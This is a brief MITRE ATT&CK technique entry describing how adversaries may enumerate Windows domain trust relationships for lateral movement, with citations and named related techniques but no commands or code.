Domain Trust Discovery
Description from ATT&CK
Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting.(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the
Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)1
